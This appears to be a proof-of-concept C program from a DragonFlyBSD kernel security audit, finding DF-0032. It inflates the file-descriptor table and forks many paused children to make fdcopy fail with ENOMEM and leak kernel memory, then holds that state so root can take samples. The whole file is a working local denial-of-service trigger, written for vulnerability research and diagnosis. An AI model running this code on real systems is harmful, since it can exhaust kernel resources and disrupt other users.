DragonFlyBSD Kernel Audit
DF-0032 / exhaust_slow.c
← back to finding ↓ download raw
/* DF-0032 slow variant: same trigger but slower (usleep per fork) so root can
 * sample kernel state in parallel at the exact moment fdcopy starts failing. */
#include <sys/resource.h>
#include <sys/wait.h>
#include <signal.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int main(void) {
    int devnull = open("/dev/null", O_RDWR);
    int high = 0;
    for (int fd = 64; fd <= 15000; fd += 64) { if (dup2(devnull, fd) < 0) break; high = fd; }
    fprintf(stderr, "[slow] fd table grown to %d\n", high);
    int enomem=0, ok=0;
    for (int i=0;i<2000;i++){
        pid_t p=fork();
        if(p==0){pause();_exit(0);}
        else if(p>0){ok++;}
        else{
            if(errno==ENOMEM){enomem++; if(enomem<=3) fprintf(stderr,"[slow] ENOMEM #%d after ok=%d (fdcopy fail=LEAK)\n",enomem,ok);}
            else if(errno==EAGAIN){ fprintf(stderr,"[slow] EAGAIN (cap) after ok=%d\n",ok); break; }
            if(enomem>3){ fprintf(stderr,"[slow] stopping after 3 ENOMEM leaks; holding children for sampling\n"); break; }
        }
        usleep(8000);  /* slow down so root can sample */
    }
    /* hold children alive so root can snapshot the leaked/orphan state */
    fprintf(stderr,"[slow] sleeping 25s holding state for root sampling...\n");
    sleep(25);
    kill(0,SIGTERM);
    while(waitpid(-1,NULL,0)>0);
    return 0;
}